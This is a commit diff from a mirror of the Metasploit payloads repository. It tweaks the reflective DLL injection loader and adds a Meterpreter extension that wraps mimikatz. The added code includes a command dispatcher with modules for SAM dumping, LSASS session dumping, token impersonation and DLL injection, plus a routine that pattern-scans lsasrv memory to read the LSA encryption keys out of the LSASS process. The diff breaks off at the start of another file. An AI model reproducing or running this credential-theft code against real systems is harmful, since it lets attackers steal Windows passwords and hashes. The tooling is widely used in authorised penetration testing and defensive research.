mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-12 12:14:29 +01:00
Compiles with Release
This commit is contained in:
parent
d80547c656
commit
979e22f774
@ -35,11 +35,15 @@
|
||||
#pragma comment (lib,"Delayimp.lib")
|
||||
|
||||
// we use this like a macro to set the hook in an server extension that requires it
|
||||
#define EnableDelayLoadMetSrv() PfnDliHook __pfnDliNotifyHook2 = delayHook; // set our delay loader hook, see DelayLoadMetSrv.c
|
||||
#define EnableDelayLoadMetSrv() PfnDliHook __pfnDliNotifyHook2 = delayHook; // set our delay loader hook, see DelayLoadMetSrv.c
|
||||
|
||||
extern HMODULE hMetSrv;
|
||||
|
||||
FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli );
|
||||
#ifdef __cplusplus
|
||||
extern "C" HMODULE hMetSrv;
|
||||
extern "C" FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli );
|
||||
#else
|
||||
extern HMODULE hMetSrv;
|
||||
FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli );
|
||||
#endif
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
|
@ -183,7 +183,7 @@ geteip:
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH || dwHashValue == VIRTUALLOCK_HASH || dwHashValue == OUTPUTDEBUG_HASH )
|
||||
@ -435,13 +435,22 @@ geteip:
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
// you must implement this function...
|
||||
extern DWORD DLLEXPORT Init( SOCKET socket );
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" DWORD DLLEXPORT Init( SOCKET socket );
|
||||
extern "C" BOOL MetasploitDllAttach( SOCKET socket )
|
||||
{
|
||||
Init( socket ) ;
|
||||
return TRUE;
|
||||
}
|
||||
#else
|
||||
DWORD DLLEXPORT Init( SOCKET socket );
|
||||
BOOL MetasploitDllAttach( SOCKET socket )
|
||||
{
|
||||
Init( socket );
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
|
||||
BOOL MetasploitDllDetach( DWORD dwExitFunc )
|
||||
{
|
||||
|
@ -63,7 +63,7 @@ __forceinline DWORD ror( DWORD d )
|
||||
|
||||
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
__forceinline DWORD _hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
|
@ -40,8 +40,13 @@ typedef struct command
|
||||
struct command *prev;
|
||||
} Command;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" LINKAGE DWORD command_register(Command *command);
|
||||
extern "C" LINKAGE DWORD command_deregister(Command *command);
|
||||
#else
|
||||
LINKAGE DWORD command_register(Command *command);
|
||||
LINKAGE DWORD command_deregister(Command *command);
|
||||
#endif
|
||||
|
||||
LINKAGE VOID command_join_threads( VOID );
|
||||
|
||||
|
@ -203,7 +203,7 @@ static void real_dprintf(char *format, ...) {
|
||||
va_start(args,format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugString(buffer);
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
93
c/meterpreter/source/extensions/mimikatz/main.cpp
Normal file
93
c/meterpreter/source/extensions/mimikatz/main.cpp
Normal file
@ -0,0 +1,93 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H
|
||||
#include "../../common/common.h"
|
||||
#endif
|
||||
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "modules/globdefs.h"
|
||||
#include <io.h>
|
||||
#include <fcntl.h>
|
||||
#include "mimikatz.h"
|
||||
|
||||
|
||||
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/ReflectiveLoader.c"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
DWORD request_boiler(Remote *remote, Packet *packet)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
{ "boiler",
|
||||
{ request_boiler, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
};
|
||||
|
||||
/*
|
||||
* Initialize the server extension
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
hMetSrv = remote->hMetSrv;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_register(&customCommands[index]);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Deinitialize the server extension
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
//int wmain(int argc, wchar_t * argv[])
|
||||
//{
|
||||
// setlocale(LC_ALL, "French_France.65001");
|
||||
// _setmode(_fileno(stdin), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/);
|
||||
// _setmode(_fileno(stdout), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/);
|
||||
// _setmode(_fileno(stderr), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/);
|
||||
//
|
||||
// /*SetConsoleCP(CP_UTF8);
|
||||
// SetConsoleOutputCP(CP_UTF8);*/
|
||||
//
|
||||
// vector<wstring> * mesArguments = new vector<wstring>(argv + 1, argv + argc);
|
||||
//
|
||||
// mimikatz * myMimiKatz = new mimikatz(mesArguments);
|
||||
// delete myMimiKatz, mesArguments;
|
||||
// return ERROR_SUCCESS;
|
||||
//}
|
286
c/meterpreter/source/extensions/mimikatz/mimikatz.cpp
Normal file
286
c/meterpreter/source/extensions/mimikatz/mimikatz.cpp
Normal file
@ -0,0 +1,286 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mimikatz.h"
|
||||
|
||||
bool mimikatz::initLocalModules()
|
||||
{
|
||||
mod_system::getVersion(&mod_system::GLOB_Version);
|
||||
mod_mimikatz_sekurlsa::loadLsaSrv();
|
||||
mod_cryptoapi::loadRsaEnh();
|
||||
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"", L"Standard", mod_mimikatz_standard::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"crypto", L"Cryptographie et certificats", mod_mimikatz_crypto::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"hash", L"Hash", mod_mimikatz_hash::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"system", L"Gestion système", mod_mimikatz_system::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"process", L"Manipulation des processus", mod_mimikatz_process::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"thread", L"Manipulation des threads", mod_mimikatz_thread::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"service", L"Manipulation des services", mod_mimikatz_service::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"privilege", L"Manipulation des privilèges", mod_mimikatz_privilege::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"handle", L"Manipulation des handles", mod_mimikatz_handle::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"impersonate", L"Manipulation tokens d\'accès", mod_mimikatz_impersonate::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"winmine", L"Manipulation du démineur", mod_mimikatz_winmine::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"minesweeper", L"Manipulation du démineur 7", mod_mimikatz_minesweeper::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"nogpo", L"Anti-gpo et patchs divers", mod_mimikatz_nogpo::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"samdump", L"Dump de SAM", mod_mimikatz_samdump::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"inject", L"Injecteur de librairies", mod_mimikatz_inject::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"ts", L"Terminal Server", mod_mimikatz_terminalserver::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"divers", L"Fonctions diverses n\'ayant pas encore assez de corps pour avoir leurs propres module", mod_mimikatz_divers::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"sekurlsa", L"Dump des sessions courantes par providers LSASS", mod_mimikatz_sekurlsa::getMimiKatzCommands()));
|
||||
mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"efs", L"Manipulations EFS", mod_mimikatz_efs::getMimiKatzCommands()));
|
||||
return true;
|
||||
}
|
||||
|
||||
mimikatz::mimikatz(vector<wstring> * mesArguments) : Kmimikatz(NULL)
|
||||
{
|
||||
initLocalModules();
|
||||
SetConsoleTitle(MIMIKATZ_FULL);
|
||||
wcout << MIMIKATZ_FULL << L"\t/* Traitement du Kiwi (" << __DATE__ << L' ' << __TIME__ << L") */" << endl <<
|
||||
L"// http://blog.gentilkiwi.com/mimikatz" << endl;
|
||||
|
||||
bool mustContinue = true;
|
||||
if(mesArguments)
|
||||
{
|
||||
for(vector<wstring>::iterator maCommande = mesArguments->begin(); mustContinue && (maCommande != mesArguments->end()); maCommande++)
|
||||
{
|
||||
wstring commande = *maCommande;
|
||||
wcout << endl << MIMIKATZ << L"(commandline) # " << dec << commande << endl;
|
||||
mustContinue = tryToDispatch(&commande);
|
||||
}
|
||||
}
|
||||
|
||||
if(mustContinue)
|
||||
{
|
||||
wstring * monBuffer = new wstring();
|
||||
do
|
||||
{
|
||||
wcout << endl << MIMIKATZ << L" # " << dec;
|
||||
getline(wcin, *monBuffer);
|
||||
} while(tryToDispatch(monBuffer));
|
||||
delete monBuffer;
|
||||
}
|
||||
wcout.flush();
|
||||
}
|
||||
|
||||
mimikatz::~mimikatz(void)
|
||||
{
|
||||
mod_cryptoapi::unloadRsaEnh();
|
||||
mod_mimikatz_sekurlsa::unloadLsaSrv();
|
||||
mod_mimikatz_inject::closeThisCommunicator();
|
||||
}
|
||||
|
||||
bool mimikatz::tryToDispatch(wstring * maLigne)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(!(reussite = maLigne->empty()))
|
||||
{
|
||||
switch(*(maLigne->begin()))
|
||||
{
|
||||
case L'@':
|
||||
case L'*':
|
||||
reussite = this->doCommandeDistante(maLigne->substr(1));
|
||||
break;
|
||||
case L'!':
|
||||
reussite = this->doCommandeKernel(maLigne->substr(1));
|
||||
break;
|
||||
default:
|
||||
wstring fonction = *maLigne;
|
||||
vector<wstring> arguments;
|
||||
|
||||
size_t monIndex = fonction.find(L' ');
|
||||
if(monIndex != wstring::npos)
|
||||
{
|
||||
fonction = fonction.substr(0, monIndex);
|
||||
arguments = mod_parseur::parse(maLigne->substr(monIndex + 1));
|
||||
}
|
||||
reussite = doCommandeLocale(&fonction, &arguments);
|
||||
}
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mimikatz::doCommandeLocale(wstring * fonction, vector<wstring> * arguments)
|
||||
{
|
||||
size_t monIndex = fonction->find(L"::");
|
||||
|
||||
wstring module = L"";
|
||||
wstring commande = *fonction;
|
||||
|
||||
if(monIndex != wstring::npos)
|
||||
{
|
||||
module = fonction->substr(0, monIndex);
|
||||
commande = fonction->substr(monIndex + 2);
|
||||
}
|
||||
|
||||
for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++)
|
||||
{
|
||||
if(module == monModule->module)
|
||||
{
|
||||
for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++)
|
||||
{
|
||||
if(commande == maCommande->commandName)
|
||||
{
|
||||
return maCommande->ptrCommand(arguments);
|
||||
}
|
||||
}
|
||||
|
||||
if(module.empty()) wcout << L"Commande locale \'" << commande << L"\' introuvable" << endl;
|
||||
else wcout << L"Module : \'" << module << L"\' identifié, mais commande \'" << commande << L"\' introuvable" << endl;
|
||||
|
||||
wcout << endl << L"Description du module : " << monModule->description << endl;
|
||||
listCommandes(monModule);
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
wcout << L"Module : \'" << module << L"\' introuvable" << endl << endl << L"Modules disponibles : " << endl;
|
||||
listModules();
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mimikatz::openKernel()
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(!Kmimikatz || Kmimikatz == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
wcout << L"Ouverture du pilote mimikatz : ";
|
||||
Kmimikatz = CreateFile(L"\\\\.\\mimikatz", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if(reussite = (Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE))
|
||||
wcout << L"OK";
|
||||
else
|
||||
wcout << L"CreateFile ; " << mod_system::getWinError();
|
||||
wcout << endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
reussite = true;
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mimikatz::closeKernel()
|
||||
{
|
||||
bool reussite = false;
|
||||
if(Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
if(CloseHandle(Kmimikatz))
|
||||
{
|
||||
Kmimikatz = NULL;
|
||||
reussite = true;
|
||||
}
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mimikatz::doCommandeKernel(std::wstring &commande)
|
||||
{
|
||||
if(!commande.empty())
|
||||
{
|
||||
if(openKernel())
|
||||
{
|
||||
DWORD dwReturn;
|
||||
/*
|
||||
wcout << L"DEBUG WriteFile " << endl <<
|
||||
L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl;
|
||||
*/
|
||||
if(WriteFile(Kmimikatz, commande.c_str(), (commande.size() + 1) * sizeof(wchar_t), &dwReturn, NULL))
|
||||
{
|
||||
/*wcout << L"\tWriten : " << dwReturn << endl << endl;*/
|
||||
|
||||
DWORD dwBuff = 0x40000;
|
||||
DWORD dwRead = 0;
|
||||
BYTE * buffer = new BYTE[dwBuff];
|
||||
RtlZeroMemory(buffer, dwBuff);
|
||||
|
||||
/*wcout << L"DEBUG ReadFile " << endl <<
|
||||
L"\tBuffSize : " << dwBuff << endl;*/
|
||||
|
||||
if(ReadFile(Kmimikatz, buffer, dwBuff, &dwRead, NULL))
|
||||
{
|
||||
/*wcout <<
|
||||
L"\tReaded : " << dwRead << endl <<
|
||||
endl;
|
||||
*/
|
||||
wcout /*<< L"BUFF : " << endl*/
|
||||
<< reinterpret_cast<wchar_t *>(buffer) << endl;
|
||||
}
|
||||
else wcout << L"ReadFile : " << mod_system::getWinError() << endl;
|
||||
|
||||
delete[] buffer;
|
||||
}
|
||||
else wcout << L"WriteFile : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L"Impossible de communiquer avec le pilote mimikatz";
|
||||
}
|
||||
else
|
||||
{
|
||||
wcout << L"Commande vide (fermeture forcée) reçue" << endl;
|
||||
closeKernel();
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mimikatz::doCommandeDistante(std::wstring &commande)
|
||||
{
|
||||
bool commOk = false;
|
||||
|
||||
if(mod_mimikatz_inject::monCommunicator)
|
||||
{
|
||||
if(!commande.empty())
|
||||
{
|
||||
if(mod_mimikatz_inject::monCommunicator->isConnected())
|
||||
{
|
||||
if(mod_mimikatz_inject::monCommunicator->writeToPipe(commande))
|
||||
{
|
||||
wstring buffer = L"";
|
||||
do
|
||||
{
|
||||
if(commOk = mod_mimikatz_inject::monCommunicator->readFromPipe(buffer))
|
||||
{
|
||||
wcout << buffer.substr(1) ;
|
||||
}
|
||||
else
|
||||
{
|
||||
wcout << L"Erreur : pas de réponse possible ; " << mod_system::getWinError() << endl;
|
||||
break;
|
||||
}
|
||||
} while(*(buffer.begin()) == L'#');
|
||||
}
|
||||
else wcout << L"Erreur : pas d\'écriture possible ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
else wcout << L"Commande vide (déconnexion forcée) reçue" << endl;
|
||||
}
|
||||
else wcout << L"Erreur : pas ou plus de communication établie" << endl;
|
||||
|
||||
if(!commOk)
|
||||
mod_mimikatz_inject::closeThisCommunicator();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void mimikatz::listModules()
|
||||
{
|
||||
for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++)
|
||||
{
|
||||
wcout << setw(12) << setfill(wchar_t(' ')) << monModule->module << L"\t- " << monModule->description << endl;
|
||||
}
|
||||
}
|
||||
|
||||
void mimikatz::listCommandes(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule)
|
||||
{
|
||||
for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++)
|
||||
{
|
||||
if(maCommande->commandName.front() != L':')
|
||||
wcout << setw(12) << setfill(wchar_t(' ')) << maCommande->commandName << L"\t- " << maCommande->commandHelp << endl;
|
||||
}
|
||||
}
|
62
c/meterpreter/source/extensions/mimikatz/mimikatz.h
Normal file
62
c/meterpreter/source/extensions/mimikatz/mimikatz.h
Normal file
@ -0,0 +1,62 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H
|
||||
#include "../../common/common.h"
|
||||
#endif
|
||||
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "modules/globdefs.h"
|
||||
#include "modules/mod_parseur.h"
|
||||
#include "modules/mod_pipe.h"
|
||||
#include "modules/mod_process.h"
|
||||
#include "modules/mod_system.h"
|
||||
|
||||
|
||||
#include "modules/mod_mimikatz_standard.h"
|
||||
#include "modules/mod_mimikatz_crypto.h"
|
||||
#include "modules/mod_mimikatz_hash.h"
|
||||
#include "modules/mod_mimikatz_system.h"
|
||||
#include "modules/mod_mimikatz_process.h"
|
||||
#include "modules/mod_mimikatz_thread.h"
|
||||
#include "modules/mod_mimikatz_service.h"
|
||||
#include "modules/mod_mimikatz_privilege.h"
|
||||
#include "modules/mod_mimikatz_handle.h"
|
||||
#include "modules/mod_mimikatz_winmine.h"
|
||||
#include "modules/mod_mimikatz_minesweeper.h"
|
||||
#include "modules/mod_mimikatz_nogpo.h"
|
||||
#include "modules/mod_mimikatz_samdump.h"
|
||||
#include "modules/mod_mimikatz_inject.h"
|
||||
#include "modules/mod_mimikatz_terminalserver.h"
|
||||
#include "modules/mod_mimikatz_divers.h"
|
||||
#include "modules/mod_mimikatz_impersonate.h"
|
||||
#include "modules/mod_mimikatz_sekurlsa.h"
|
||||
#include "modules/mod_mimikatz_efs.h"
|
||||
|
||||
class mimikatz
|
||||
{
|
||||
private:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE> mesModules;
|
||||
bool initLocalModules();
|
||||
bool tryToDispatch(wstring * maLigne);
|
||||
bool doCommandeLocale(wstring * fonction, vector<wstring> * arguments);
|
||||
bool doCommandeDistante(std::wstring &commande);
|
||||
bool doCommandeKernel(std::wstring &commande);
|
||||
|
||||
bool openKernel();
|
||||
bool closeKernel();
|
||||
|
||||
void listModules();
|
||||
void listCommandes(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule);
|
||||
|
||||
HANDLE Kmimikatz;
|
||||
|
||||
public:
|
||||
mimikatz(vector<wstring> * mesArguments = NULL);
|
||||
virtual ~mimikatz(void);
|
||||
};
|
||||
|
BIN
c/meterpreter/source/extensions/mimikatz/mimikatz.rc
Normal file
BIN
c/meterpreter/source/extensions/mimikatz/mimikatz.rc
Normal file
Binary file not shown.
@ -0,0 +1,75 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "keys_nt5.h"
|
||||
PBYTE * mod_mimikatz_sekurlsa_keys_nt5::g_pRandomKey = NULL, * mod_mimikatz_sekurlsa_keys_nt5::g_pDESXKey = NULL;
|
||||
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3};
|
||||
LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + sizeof(long));
|
||||
LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long));
|
||||
LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long));
|
||||
LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long));
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x84, 0xc0, 0x74, 0x44, 0x6a, 0x08, 0x68};
|
||||
LONG OFFS_WNT5_g_Feedback = sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY);
|
||||
LONG OFFS_WNT5_g_pRandomKey = OFFS_WNT5_g_Feedback + sizeof(long) + 5 + 2 + 2 + 2;
|
||||
LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_pRandomKey+ sizeof(long) + 2;
|
||||
LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pDESXKey + sizeof(long) + 5 + 2;
|
||||
#endif
|
||||
|
||||
bool mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData()
|
||||
{
|
||||
PBYTE ptrBase = NULL;
|
||||
DWORD mesSucces = 0;
|
||||
if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT5_LsaInitializeProtectedMemory_KEY, &ptrBase, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY)))
|
||||
{
|
||||
#ifdef _M_X64
|
||||
PBYTE g_Feedback = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT5_g_Feedback) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_Feedback));
|
||||
g_pRandomKey = reinterpret_cast<PBYTE *>((ptrBase + OFFS_WNT5_g_pRandomKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_pRandomKey));
|
||||
g_pDESXKey = reinterpret_cast<PBYTE *>((ptrBase + OFFS_WNT5_g_pDESXKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_pDESXKey));
|
||||
PDWORD g_cbRandomKey = reinterpret_cast<PDWORD >((ptrBase + OFFS_WNT5_g_cbRandomKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_cbRandomKey));
|
||||
#elif defined _M_IX86
|
||||
PBYTE g_Feedback = *reinterpret_cast<PBYTE *>(ptrBase + OFFS_WNT5_g_Feedback);
|
||||
g_pRandomKey = *reinterpret_cast<PBYTE **>(ptrBase + OFFS_WNT5_g_pRandomKey);
|
||||
g_pDESXKey = *reinterpret_cast<PBYTE **>(ptrBase + OFFS_WNT5_g_pDESXKey);
|
||||
PDWORD g_cbRandomKey = *reinterpret_cast<PDWORD *>(ptrBase + OFFS_WNT5_g_cbRandomKey);
|
||||
#endif
|
||||
*g_Feedback = NULL; *g_pRandomKey = NULL; *g_pDESXKey = NULL; *g_cbRandomKey = NULL;
|
||||
|
||||
mesSucces = 0;
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (g_Feedback - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_Feedback, 8, mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesSucces++;
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_cbRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_cbRandomKey, sizeof(DWORD), mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesSucces++;
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_pRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
mesSucces++;
|
||||
*g_pRandomKey = new BYTE[*g_cbRandomKey];
|
||||
if(mod_memory::readMemory(ptrBase, *g_pRandomKey, *g_cbRandomKey, mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesSucces++;
|
||||
}
|
||||
if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_pDESXKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS))
|
||||
{
|
||||
mesSucces++;
|
||||
*g_pDESXKey = new BYTE[144];
|
||||
if(mod_memory::readMemory(ptrBase, *g_pDESXKey, 144, mod_mimikatz_sekurlsa::hLSASS))
|
||||
mesSucces++;
|
||||
}
|
||||
}
|
||||
else wcout << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl;
|
||||
return (mesSucces == 6);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData()
|
||||
{
|
||||
if(g_pRandomKey && *g_pRandomKey)
|
||||
delete[] *g_pRandomKey;
|
||||
if(g_pDESXKey && *g_pDESXKey)
|
||||
delete[] *g_pDESXKey;
|
||||
|
||||
return true;
|
||||
}
|
@ -0,0 +1,17 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "../mod_mimikatz_sekurlsa.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa_keys_nt5 {
|
||||
|
||||
private:
|
||||
static PBYTE *g_pRandomKey, *g_pDESXKey;
|
||||
public:
|
||||
static bool searchAndInitLSASSData();
|
||||
static bool uninitLSASSData();
|
||||
};
|
@ -0,0 +1,185 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
